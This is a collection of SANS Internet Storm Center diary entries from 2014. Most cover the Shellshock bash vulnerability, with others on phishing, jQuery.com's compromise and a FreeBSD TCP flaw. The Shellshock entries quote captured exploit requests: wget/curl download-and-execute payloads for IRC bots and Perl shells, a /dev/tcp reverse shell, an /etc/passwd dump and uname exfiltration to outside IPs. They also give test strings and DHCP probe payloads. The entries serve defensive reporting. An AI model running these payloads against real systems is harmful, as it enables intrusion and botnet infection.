I had the pleasure of attending DerbyCon 4.0 (Family Rootz) this past Friday and Saturday and can tell you that if you haven't already attended yourself, plan to do so next year. Aside from the smaller and more encompassing "family" feel, an intentional and protected approach strongly advocated for by @HackingDave and the great @DerbyCon team, you'll also be contributing to Hackers For Charity (HFC). For those of you who couldn't attend but are interested in some of the outstanding content, Adrian Crenshaw (@irongeek_adc) and his team always shoot video of each presentation. For DerbyCon 4.0 they've posted the videos to the Irongeek site here.  

There are so many great talks to choose from but I'll share a few that really resonated with me given current interest or focus areas:

Attacking Microsoft Kerberos: Kicking the Guard Dog of Hades - Tim Medin
Abusing Active Directory in Post-Exploitation – Carlos Perez
Ball and Chain (A New Paradigm in Stored Password Security) – Benjamin Donnelly and Tim Tomes
Third Party Code: FIX ALL THE THINGS – Kymberlee Price and Jake Kouns

You should also, in the simple name of humanity, watch Johnny Long's keynote, Hackers saving the world from the zombie apocalypse.

Great conference, great people, great presentations; take the time to watch as many of the videos as possible, and see if you can get a ticket next year when DerbyCon comes around again.

I just published an updated YouTube presentation (about 15 min in length) with some of the shell shock related news from the last couple days:

YouTube: https://www.youtube.com/watch?v=b2HKgkH4LrQ
​PDF: https://isc.sans.edu/presentations/ShellShockV2.pdf
PPT: https://isc.sans.edu/presentations/ShellShockV2.pptx

Audio: 

 

As always, the material is published "create commons / share alike", so feel free to use the slides.

 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Ever since the shellshock vulnerability has been announced, we have seen a large number of scans probing it. Here is a quick review of exploits that our honeypots and live servers have seen so far:

1 - Simple "vulnerability checks" that used custom User-Agents:

() { 0v3r1d3;};echo \x22Content-type: text/plain\x22; echo; uname -a;
() { :;}; echo 'Shellshock: Vulnerable'
() { :;};echo content-type:text/plain;echo;echo [random string];echo;exit
() { :;}; /bin/bash -c "echo testing[number]"; /bin/uname -a\x0a\x0a
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 \x22() { test;};echo \x5C\x22Co\
ntent-type: text/plain\x5C\x22; echo; echo; /bin/cat /etc/passwd\x22 http://[IP address]/cgi-bin/test.cgi

This one is a bit different. It includes the tested URL as user agent. But of course, it doesn't escape special characters correctly, so this exploit would fail in this case. The page at 89.248.172.139 appears to only return an "empty page" message.

) { :;}; /bin/bash -c \x22wget -U BashNslash.http://isc.sans.edu/diary/Update+on+CVE-2014-6271:+Vulnerability+in+bash+(shellshock)/18707 89.248.172.139\x22

 

2 - Bots using the shellshock vulnerability:

This one installs a simple perl bot. Connects to irc.hacker-newbie.org port 6667 channel #bug

() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b\
0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; curl -O http://xr0\
b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt ; lwp-download http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ;rm -rf /tmp/xrt ; wget http\
://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/sh\
ock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.\
com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; curl -O http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt ; lwp-download http:\
//xr0b0tx.com/shock/xrt ; perl /tmp/xrt ;rm -rf /tmp/xrt ; wget http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt')\x22;

3 - Vulnerability checks using multiple headers:

GET / HTTP/1.0
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3
Accept: */*
Cookie: () { :; }; ping -c 3 [ipaddress]
Host: () { :; }; ping -c 3 [ipaddress]
Referer: () { :; }; ping -c 3 [ipaddress]

4 - Using Multiple headers to install perl reverse shell (shell connects to 46.246.34.82 port 1992 in this case)

GET / HTTP/1.1
Host: [ip address]
Cookie:() { :; }; /usr/bin/curl -o /tmp/auth.pl http://sbd.awardspace.com/auth; /usr/bin/perl /tmp/auth.pl
Referer:() { :; }; /usr/bin/curl -o /tmp/auth.pl http://sbd.awardspace.com/auth; /usr/bin/perl /tmp/auth.pl

5 - Using User-Agent to report system parameters back (the IP address is currently not responding)

GET / HTTP/1.0
Accept: */*\
aUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3
Host: () { :; }; wget -qO- 82.221.99.235 -U="$(uname -a)"
Cookie: () { :; }; wget -qO- 82.221.99.235 -U="$(uname -a)" 

6 - User-Agent used to install perl box

GET / HTTP/1.0
Host: [ip address]
User-Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*

 

 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

With everybody's eyes on bash vulnerabilities, two new problems have been found [1]. These problems have been assigned CVE-2014-6277 and CVE-2014-6278. These issues are unrelated to the environment variable code injection of shellshock, but could also lead to code execution.

I hope you are keeping good notes as to what systems use bash and how as you are patching. Looks like bash will keep us busy for a bit.

[1] http://www.openwall.com/lists/oss-security/2014/09/25/32

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

By now, I hope you are well on your way to patch your Linux systems for the bash code injection vulnerabilities. At this point, you should probably dig a bit deeper and try to find more "hidden" places that may be vulnerable. First of all, a quick list of things that are not vulnerable:

• iOS, Android and many similar systems that use ash instead of bash.
• Many systems are vulnerable, but the vulnerability is not exposed by default. In this case, patching is less urgent but should still be done as soon as patches are available. For example in OS X, there is no web server installed by default, and the DHCP client does not call shell scripts the way Linux does. Solaris uses ksh by default.
• Many small embedded systems use busybox, not bash, and are not vulnerable.

Now which are the systems you may have missed in your first quick survey? First of all, vulnerability scanners will only find the low hanging fruit for this one, in particular earlier on. There are many larger web applications that have a couple of small cgi-bin scripts that are easily missed.

• In Apache, look for the ExecCGI anywhere in your Apache configuration (not just httpd.conf, check files that are included by httpd.conf like virtual host configurations). If possible, remove ExecCGI if it was just setup by a default install.
• Check if /bin/sh is a symlink to /bin/bash, or worse, a copy of /bin/bash. Just to make sure, try the exploit against other shells on the system (I have seen admins rename bash for convenience...)
• While Android is not vulnerable by default, it is possible to install bash on Android
• Even Windows can be made vulnerable, if you install tools like cygwin and expose them via a web server
• "larger" embedded devices, unlike the small devices based on busybox, do sometimes include bash. Depending on how much access you have to the device, this can be hard to figure out
• cgi web applications that are written in languages other then bash, but call bash (e.g. via exec(), popen() or similar commands.

And some good news: The signature "() {" for the exploit is actually better then I thought originally. Turns out that added spaces or other modifications to this string will break the exploit. 

So in short, your priority list should look like:

• If today, you find exposed bash scripts in a publicly reachable server in cgi-bin: Assume the server is compromised.
• Focus on web servers. Patch all web servers as soon as possible even if you currently don't use cgi-bin. It is too easy to miss a script.
• Any vulnerable system that uses restricted ssh shells
• Any vulnerable system that is used outside your perimeter (to avoid DHCP attacks)

Moving forward: The idea of writing web applications in bash (or other shell scripting langagues) is pretty dangerous in the first place. It should be done with care, and if possible, try to use a different languages (perl, php, python) as they provide better input validation libraries. SELinux was mentioned as a counter measure, but in this case, it may not work quite as well as hoped. Regardless, learn how to use it and don't just turn it off the first time it gets in the way. Systems like web application firewall and IPSs are very useful in a case like this for virtual patching. Make sure you have these systems in place, even if for the most part, you use them just to alert and log and less to block.

Fellow handler Rob put together this list of "likely to be missed" machines:

• web content control servers
• e-mail gateways
• proxy servers
• web application firewalls (WAFs)
• IPS sensors and servers
• Wireless Controllers
• VOIP Servers
• Firewalls
• Enterprise class routers or switches (yes, really)
• Any Virtual Machine that you got as an OVA or OVF from a vendor

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Two significant vulnerabilities affecting a wide range of systems that couldn't be patch fast enough were released in the past few months. The simple solution for both issues was to find and to patch. However, if the site audit policy is inadequate, finding these systems became a daunting task. It became clear that regularly auditing a network is a necessity, having a baseline you can rely on and an accurate software inventory is critical when dealing with issues like; how many systems are using Bash or might have OpenSSL embedded in them is paramount.

Ways that can be used to address and fix known vulnerabilities; and help detect suspicious activity:

1- Identify the risks, if software patch it. If it is the enterprise's "crown jewels", make sure they are well protected. Remember, this a repetitive process that need to be reviewed at regular interval.
2- Defense-in-depth from the perimeter to the host and regularly test and verify its accuracy
3- If you own an IDS/IPS, turn off old signatures that fire on old software. They just "fatigue" the analysts and detract them from the real attacks
4- Set up a SIEM to centralize logging and alert on events that have been identified as serious risks and/or unusual activity

Dealing with Bash will eventually be coming to an end. If you already have a simple and easy method for auditing and keeping an accurate host software inventory, we would like to hear from you. Using your method, how quickly were you able to identify all the vulnerable network devices?

[1] http://heartbleed.com/
[2] https://isc.sans.edu/forums/diary/Attention+NIX+admins+time+to+patch/18703
[3] http://nmap.org/
[4] http://www.open-audit.org/
[5] http://www.openvas.org/

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

 

At the Storm Center, we are strict and judicious on moving the InfoCon status. We felt, after dialog, that Yellow is warranted in this case as we are seeing signs of worm/botnet activity. This combined with so many systems are impacted [worm], with no signs of letting up [met].

We will monitor this closely and relax InfoCon when the situation seems to be more stable.

Some example requests currently probing for the vulnerability:

GET /cgi-bin/test.sh HTTP/1.0
Host: [host ip address]
User-Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*"

ec.z is an obfuscated perl script launching an IRC bot. 

This second attack uses multiple headers. We have not yet recovered the 'nginx' binary.

GET /cgi-sys/defaultwebpage.cgi HTTP/1.1
Host: () { :;}; wget -O /tmp/syslogd http://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;
User-Agent: () { :;}; wget -O /tmp/syslogd http://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;
Cookie: () { :;}; wget -O /tmp/syslogd http://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;
Referer: () { :;}; wget -O /tmp/syslogd http://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;

In addition, we have seen numerous scans that will just probe the vulnerability.

[met] https://github.com/rapid7/metasploit-framework/pull/3891
[worm] http://www.itnews.com.au/News/396197,first-shellshock-botnet-attacks-akamai-us-dod-networks.aspx

 

---

Richard W. Porter

rporter at isc dot sans dot edu || @packetalien

I created a quick Youtube video to summarize the impact of the vulnerability. The tricky part is that there is a huge vulnerable population out there, but the impact is limited as in most cases, the vulnerability is not exposed.

Feel free to share the video or the slides. I am making PPT and PDF versions available below

PDF Version of Slides
PPT Version of Slides (coming soon. not uploaded yet)

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

On Wednesday (Sept. 24th), a vulnerability in bash was announced, that was originally found by Stephane Schazelas. The vulnerability allows for arbitrary code execution in bash by setting specific environment variables. Later Tavis Ormandy released a second exploit that will work on patched systems. Demonstration that the patch released yesterday is incomplete. The vulnerability has now become known as "shellshock". Two CVE numbers have been assigned. The first CVE (CVE-2014-6271) was assigned for the vulnerability discovered by Stephane, the second CVE (CVE-2014-7169) was assigned to the modified injection technique discovered by Tavis. [fsf][cve1][cve2]

What is the impact of the vulnerability?

At first, the vulnerability doesn't look all that serious. Executing commands is what bash is used for. But in this case, code can be executed without the user's intent by setting an environment variable.

The most problematic scenario is bash scripts executed via cgi-bin. The CGI specification requires the web server to convert HTTP request headers supplied by the client to environment variables. If a bash script is called via cgi-bin, an attacker may use this to execute code as the web server.

Other, less likely scenarios involve ssh, which can set environment variables, but they would have to be set on the server in a configuration file. DHCP clients may in some cases execute bash scripts and use environment variables supplied by the server. This case may be exploitable if the user connects to an untrusted DHCP server ("cofeehouse wifi"). [tru]

Should I apply the patch?

Yes. The initial patch released only fixed one aspect of the vulnerability. However, a better patch was released for many Linux systems yesterday (Thursday 25th). Please make sure you apply this updated patch to mitigate this vulnerability. [ubu]

What are my other options? What else should I do?

Since the patch is incomplete, you should try to implement additional measures to protect your systems. Various Intrusion Detection System (IDS) and Web Application Firewall (WAF) vendors have released rules to block exploitation. Realize that these rules may be incomplete as well. Many rules I have seen so far just look for the string "() {" which was present in the original proof of concept exploit, but could easily be changed for example by adding more or different white spaces.

You could switch your default shell to an alternative like ksh or sh. But this,will likely break existing scripts. Different shells use slightly different syntax.

On many embedded systems you may already use an alternative shell ("busybox") that is not vulnerable. 

Another option to limit the impact of the vulnerability is SELinux, but by default, it does not prevent the initial exploit. [sel]

How do I find vulnerable systems?

If you can log on to the system you can use one of these test strings:

To check if you are patched, you can use the original test string:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

If you are patched, but want to demonstrate that you are still vulnerable, you
can use this command:

env X='() { (a)=>\' bash -c "echo date";

This command will return an error on a patched system, but it will still
create an empty file called "echo". 

 

There are various modules for vulnerability scanners to search for vulnerable systems. You can also use a quick Google search for likely vulnerable web servers:
filetype:sh inurl:cgi-bin site:[your domain]
This Google check my return shell scripts that use shells other then bash.

Be careful to check web servers in embedded systems like routers as they may not only run bash scripts, but they may do so at elevated privileges. Many empeded systems use busybox, not bash, and are save. But if bash is used, these systems may be vulnerable.

Other vulnerable systems include F5 load balancers and OS X (Apple) systems [f5-1][f5-2][osx]. Cisco published two articles outlining how it's devices are affected [cisco1][cisco2].

Apple stated that "With OS X, systems are safe by default and not exposed to remote exploits of bash unless users configure advanced UNIX services,” - [tps] . It is not clear if OS X can be exploited via DHCP. But it is certainly possible and not uncommon for users to install web servers on OS X.

It also may be possible to find exposed systems through DHCP:

From one of our readers (Big Shout out and thank you to Patrick!)

Using DHCP Options, you may be able increase detection of systems that are exposed to the bug. At first Patrick's team was using DHCP option 114, then dialog revealed that option 95 might serve as a better 'option' (pun intended).

The Solution:

option option-114 = "() { ignored;}; ping -c 1 IP.THAT.YOU.CONTROL";

and running a packet sniffer on IP.THAT.YOU.CONTROL.

It's most reliable and least intrusive (1 ICMP packet).

Unless ICMP filtering is in place in which case, use...

option option-114 = "() { ignored;}; wget -O /dev/null
http://IP.THAT.YOU.CONTROL/ShellShocked";

will also work on systems that have wget. Just tail logs for 404s

NOTE!: option-114 is used by VoIP (provisioning URL) so thread carefully on
telecomms networks!

This DHCP solution is experimental so be careful!

Threatstop published a list of IPs known to scan/exploit the vulnerability [thr]

Are systems already being exploited?

We have seen reports of scans for the vulnerability. The cgi-bin exploit is used very agressively and we already have seen multiple attacks against our own web servers.  

Scans also started against some well known cgi-bin scripts that are part of larger packages. For example cPanel's /cgi-sys/defaultwebpage.cgi. [vol]

We do see numerous exploit attempts against our own (non-vulnerable) web servers, and are receiving many reports of exploit attempts. For example, here a log entry in which the User-Agent was set to the exploit value:

178.86.28.56 - - [25/Sep/2014:21:24:54 +0000] "GET /iscfavicon.ico HTTP/1.1" 200 1406 "-" "() { :; }; bash -i >& /dev/tcp/178.86.28.56/9999 0>&1" "-"

We are now seeing reports of worms in the wild exploiting telnet on DoD networks, through the BotNet WopBot [worm]. See resources for details.

How is exploitation happening?

There are currently 3 different avenues that are being explored as most likely to expose the vulnerability:

HTTP: cgi-bin scripts using bash. They do not necessarily have to use a /cgi-bin/ URL . Different directories can be configured to expose scripts to cgi-bin. This vulnerability is also not limited to Apache. CGI scripts writen in other languages (perl, python) may be vulnerable if they call bash [see comment below] 
 

DHCP: This exploit vector is a tad harder to reach, but can attack clients as well as servers. In Linux, the dhcp clients sets environment variables based on data supplied by the DHCP server. The client then calls various bash scripts to adjust network configurations. A malicious DHCP server may provide crafted data that will then lead to code execution via the bash vulnerability. This is in particularly critical as these scripts are executed as root. 
A metasploit module has been released [met] and the exploit is easily performed using standard DHCP servers [tru].

SSH: In ssh, the user may set environment variables when connecting to an ssh server. These can then be used to bypass shell restrictions imposed on the user.

 

[cisco1] http://tools.cisco.com/security/center/mcontent/CiscoSecurityAdvisory/cisco-sa-20140926-bash
​[cisco2] http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash
[cve1]https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
​[cve2]https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169
[f5-1] https://twitter.com/ashk4n/status/515121090688196609
​[f5-2] https://devcentral.f5.com/articles/cve-2014-6271-shellshocked
[fsf] https://fsf.org/news/free-software-foundation-statement-on-the-gnu-bash-shellshock-vulnerability
​[met] https://github.com/rapid7/metasploit-framework/pull/3891
[osx] http://apple.stackexchange.com/questions/146849/how-do-i-recompile-bash-to-avoid-shellshock-the-remote-exploit-cve-2014-6271-an/146851#146851
[sel] http://danwalsh.livejournal.com/71122.html
[thr] http://blog.threatstop.com/2014/09/27/threatstop-blocking-shellshock-bash-scanners/
[tps] http://threatpost.com/apple-os-x-safe-by-default-against-bash-vulnerability/108586#sthash.y3ureGEh.dpuf
[tru] https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/
[ubu] http://www.ubuntu.com/usn/usn-2363-1/
[vol] http://www.volexity.com/blog/?p=19
[snort] https://www.snort.org/advisories/vrt-rules-2014-09-24.html
[meta] https://github.com/rapid7/metasploit-framework/pull/3891
[deb] https://security-tracker.debian.org/tracker/CVE-2014-7169
[worm] http://www.itnews.com.au/News/396197,first-shellshock-botnet-attacks-akamai-us-dod-networks.aspxCVE-2014-7169

 

 

 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Over the past years, we became used to Microsoft Patches, the important, critical ones that would render your system fully vulnerable if you didn't apply them. We probably became so used that sometime we forget that our Linux servers also need patches.

Today I've learned about a critical Bash patch, that addresses the CVE-2014-6271. According the advisory:

"A flaw was found in the way Bash evaluated certain specially crafted environment variables. An attacker could use this flaw to override or bypass environment restrictions to execute shell commands. Certain services and applications allow remote unauthenticated attackers to provide environment variables, allowing them to exploit this issue."

The patches are already ready for most of the Linux distros, like RedHat and Debian, so waste no time.

---

Pedro Bueno (pbueno /%%/ isc. sans. org)
Twitter: http://twitter.com/besecure

jQuery is a popular Javascript framework, used by many websites (including isc.sans.edu) . jQuery provides many features, like easy access to webservices as well as advanced user interface features. When using jQuery, sites have the option to download and host the complete code, or let jQuery.com and it's CDN (Content Delivery Network) host the code.

There are two advantages in allowing jQuery.com to host the code:

• Performance: Code is typically delivered faster, and a user may already have the code cached if they visited another site that used the CDN hosted copy of jQuery.
• Automatic Updates: Updates to jQuery are pushed to the CDN by the jQuery developers, and a website using it will automatically receive the latest copy.

On the other hand, there is an important drawback, and the main reason why the jQuery code for isc.sans.edu is hosted on our own servers: With code being "blindly" included from 3rd party sites, it is possible that a compromise of this 3rd party site will affect your site's security.

Sadly, just this happened according to RiskIQ with jQuery.com [1]. The web site was compromised and malicious code was injected redirecting users to a malicious site. Luckily, the jQuery library was NOT affected. Otherwise, many additional sites would have been exposed and visitors to these sites would have been affected. This is in particular fortunate as the attack appears to be targeted. The redirection domain used in this attack was jquery-cdn.com . That domain was registered on the day the attack was first noticed.

Particulary concerning is the fact that I am unable to find any statement about the attack on jQuery.com . If someone has a link, please let me know.

[1] http://www.net-security.org/malware_news.php?id=2869

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

I just receive a pretty "plausible looking" e-mail claiming to originate from Logmein.com. The e-mail passed the first "gut check".

• The "From" address is auto-mailer@logmein.com.
• It was sent to an address I have used for Logmein in the past
• The only link inside the e-mail went to a legit Logmein URL.

Of course, the .zip attachment did set off some alarm bells, in particular as it unzipped to a .scr (Screen Saver).

According to VirusTotal, AV detection is almost non-existant at this point:

LogmeIn does publish a SPF record, and the e-mail did not originate from a valid LogmeIn mail sender, so it should be easy to descriminate against these emails using a standard spam filter.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Haven't upgraded to iOS 8 yet? Aside from a lot of new features, Apple also fixed a number of security vulnerabilities in iOS 8. For example CVE-2014-4377, a memory corrupion issue in iOS's core graphics library. An exploit is now available for this vulnerability.

NOTE: I have not verified yet that the exploit is working / genuine. We will not link at this point to the exploit code, but basic Google Fu should allow you to find it.

The author claims that the exploit is "compleatly reliable and portable on iOS 7.1.x". The exploit comes in the form of a malformed PDF, which would usually be delivered as an image inside an HTML page.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

As in prior years, we would like to use a theme for our October diaries, in order to participate in Cyber Security Awareness Month. This month, we are looking for "False Positives". One issue we are running into a lot is users who are new to security and start looking at logs, only to be confronted with unparsable, "scary" messages. But even as an experienced security practitioners, you can run into a an indicator that may initially get you to believe that your system is compromised only to learn later that there was nothing to worry about. 

To help us out, please send us your favorite scary, but in the end bening, lot message or other error/system message. Please include a few details stating why you initially thought that there was a problem and how you came to believe that the message was nothing to worry about. We hope to cover about 1 message for each work day (5 / week). Please include how you would like to be identified (usually we use submitters first name)

 

 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Reader Ronnie provided us today a packet capture with a very interesting situation:

1. Several packets are arriving, all ICMP echo request from unrelated address:
   
2. All ICMP packets being sent to the destination address does not have data, leaving the packet with the 20 bytes for the IP header and 8 bytes for the ICMP echo request without data
   
3. All the unrelated address sent 6 packets: One with normal TTL and 5 with incremental TTL:
   

Seems to be those packets are trying to map a route, but in a very particular way. Since there are many unrelated IP addresses trying to do the same, maybe something is trying to map routes to specific address to do something not good. The destination IP address is an ADSL client.

Is anyone else seeing these kind of packets? If you do, we definitely want to hear from you. Let us know!

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

PHP announced the released of version 5.5.17 and 5.4.33. Ten bugs were fixed in version 5.4.33 and 15 bugs were fixed in version 5.5.17. All PHP users are encouraged to upgrade.The latest version are available for download here.

[1] http://php.net/ChangeLog-5.php#5.4.33
[2] http://php.net/ChangeLog-5.php#5.5.17
[3] http://windows.php.net/download

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

Nathan reported today that he has been seeing a new trend of web scanning against his webservers looking for /info/whitelist.pac. The scanning he has observed is over SSL. He has been observing this activity since the 22 Aug.

[22/Aug/2014:18:55:32 -0500]    xx.12.93.178    GET /info/whitelist.pac HTTP/1.1   Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
[...]
[14/Sep/2014:11:10:05 -0500]    xx.216.137.7    GET /info/whitelist.pac HTTP/1.1   Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
[14/Sep/2014:13:16:19 -0500]    xx.174.190.254 GET /info/whitelist.pac HTTP/1.1   Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
[14/Sep/2014:14:03:48 -0500]    xx.252.188.49   GET /info/whitelist.pac HTTP/1.1   Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
[14/Sep/2014:17:10:40 -0500]    xx.17.199.47     GET /info/whitelist.pac HTTP/1.1   Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
[14/Sep/2014:21:10:26 -0500]    xx.13.136.13     GET /info/whitelist.pac HTTP/1.1   Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
[16/Sep/2014:06:30:15 -0500]    xx.10.51.74       GET /info/whitelist.pac HTTP/1.1   Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
[16/Sep/2014:14:03:54 -0500]    xx.240.174.203  GET /info/whitelist.pac HTTP/1.1   Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

Is anyone else seeing similar activity against their webservers?

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

With today being "buy an Apple phone" day it should not be surprising that there are already some phishing emails going around to try and take advantage of the publicity.  

Jan sent this in this morning (thanks):

A variation on the many phishing emails we see regularly, just taking advantage of two public events, the celebrity photos and the release of the new phone.

Maybe a reminder to staff as well as friends and family to ignore emails that say "click here"

Happy buying a phone day or if not phonically inclined, happy talk like a pirate day, or just plain enjoy your Friday. 

Mark 

 

 

An email titled "Your online background check is now public" might be half-scary if it was sent to a real person. But if it is a bunch of honeypot email addresses that have nobody associated to them in real life, and they get half a dozen of these emails per week, then it can only be spam, scam, or - most likely - both.

After tolerating and binning these noisy emails for a number of weeks, we finally decided to take a look-see on what is behind them. Turns out they all lead to "instantcheckmate-dot-com", who are peddling "background investigation services".

Sadly, the "background check" for our Honeypot actually wasn't all that extensive. I would have loved to read about the sleazy hidden life of our little Honeypot, especially its speeding tickets (highly unlikely, it is an old i486) and its convictions for possession (more likely, given that on past occasions, smoke has been seen coming from the enclosure), or its sex offenses (unlikely again, given that its ports are all serial, and its slots are all ISA :).

We didn't try the Instant Checkmate "service", so I can't tell if its any good. But given that its offerings apparently need to be spammed, and the spammed URLs change daily, and redirect across four hops to end up on tcgtrkr-dot-com, and finally on instantcheckmate, I'd say the odds are they ain't up to much good.

If you own this "service", you are welcome to comment, after all, your background check is now public :). If you prefer not to comment, you might want to consider removing email addresses that have the word "sans" in them from your spam list, maybe?

A vulnerability has been discovered by Johnathan Looney at the Juniper SIRT in FreeBSD (base for Junos and many other products) in the way that FreeBSD processes certain TCP packets (https://www.freebsd.org/security/advisories/FreeBSD-SA-14:19.tcp.asc)  If you send TCP SYN packets for an existing connection (i.e. the correct source IP, source port, destination IP, destination port combination) the operating system will tear down the connection.  

The attack is similar to the "slipping in the TCP window" attack described back in 2004 by Paul Watson (http://packetstormsecurity.com/files/author/3245/), but using SYN packets instead of RST.  One of the Handlers has successfully reproduced the attack in their lab.  

For those of you that don't have FreeBSD in your environment, you probably do. There are a number of products that utilise FreeBSD as their base operating system. A few that spring to mind are OSX, Bluecoats, CheckPoint, Netscaler and more (A partial list is here http://en.wikipedia.org/wiki/List_of_products_based_on_FreeBSD).  

Keep an eye out for updates from your vendors, Juniper's is here  -->  http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10638&cat=SIRT_1&actp=LIST

M

Pretty much ever since the new top level domain (TLD) ".biz" went online a couple years ago, and the only ones buying domains in this space were the scammers, we kinda knew what would happen when ICANN's latest folly and money-grab went live. It looks like a number of the "new" top level domains, like ".support", ".club", etc have now come online. And again, it seems like only the crooks are buying.

We are currently investigating a wave of phishing emails that try to lure the user to a copy of the Bank of America website. The main difference, of course, is that any login credentials entered do not end up with Bank of America, but rather with some crooks, who then help themselves to the savings.

Phishing emails per se are nothing new. But it appears that URLs like the one shown in the phishing email above have a higher success rate with users. I suspect this is due to the fact that the shown URL "looks different", but actually matches the linked URL, so the old common "wisdom" of hovering the mouse pointer over the link to look for links pointing to odd places .. won't help here.

But wait, there's more! Since the crooks in this case own the domain, and obviously trivially can pass the so-called "domain control validation" employed by some CA's, they actually managed to obtain a real, valid SSL certificate!

Quoting from the Certificate Authority's web site:

Comodo Free SSL is a fully functional Digital Certificate, recognized and trusted by 99.9% of browsers. Your visitors will see the golden padlock and won't see security warnings. What will you get:

• Ninety day free SSL Certificate (other CAs offer 30 days maximum.)
• Issued online in minutes with no paperwork or delays
• Highest strength 2048 bit signatures / 256 bit encryption
• Signed from the same trusted root as our paid certificates
• Recognized by all major browsers and devices

They don't mention why they think any of this is a good idea.

Addition of SSL to the phish means that another "scam indicator" that we once taught our users is also no longer valid. When a user clicks on the link in the phishing email, the browser will actually show the "padlock" icon of a "secure site". See the screenshot below.

 

If you have seen other recent banking phishes that use new top level domains and/or valid SSL certificates, please let us know via the contact form, or the comments below!

 

 

We are receiving some reports about SNMP scans that claim to originate from 8.8.8.8 (Google's public recursive DNS server). This is likely part of an attempt to launch a DDoS against Google by using SNMP as an amplifier/reflector.

Please let us know if you see any of the packet. The source IP should be 8.8.8.8 and the target port should be 161 UDP. For example in tcpdump:

tcpdump -s0 -w /tmp/googlensmp dst port 161 and src host 8.8.8.8

Thanks to James for sending us a snort alert triggered by this:

Sep 15 11:07:07 node snort[25421]: [1:2018568:1] ET CURRENT_EVENTS Possible Inbound SNMP Router DoS (TTL 1) [Classification: Attempted Denial of Service] [Priority: 2] {UDP} 8.8.8.8:47074 -> x.x.251.62:161

So far, it does not look like service to Google's DNS server is degraded.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

For a few weeks now, I keep receiving a few "Delta Ticket" e-mails a day with zipped executables as attachments. The e-mails are done about as bad as it gets:

• The "From" address uses a random domain
• The e-mail does not use the typical "Delta" formating/branding.
• The attachment is a straight executable, just zipped.
• Antivirus is ok on a new sample received right now (8/55 according to virustotal) and excellent (>30/55) on older samples. [1]
• The e-mail (flight information) is very specific and does not appear to be customized to the sender
• Delta doesn't send tickets as attachments like this.

So they could do a lot better. The sad part is, that they apparently have no need to do better.

The "From" name, which is what most people are looking at, reads "Delta Air Lines". Some major/popular AV tools still don't detect it well at all, and well, users like to click on stuff I guess.

The initial piece of malware appears to be a generic downloader. In my system, it installed what looked like a fake Adobe update. Still running it to see what is exactly going on, but not expecting too much.

 

[1] https://www.virustotal.com/en/file/4cf652e71bbbe37eecda58169471df27db15ca1e5a8f14006128a4883b095409/analysis/1410799974/
 

 

 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

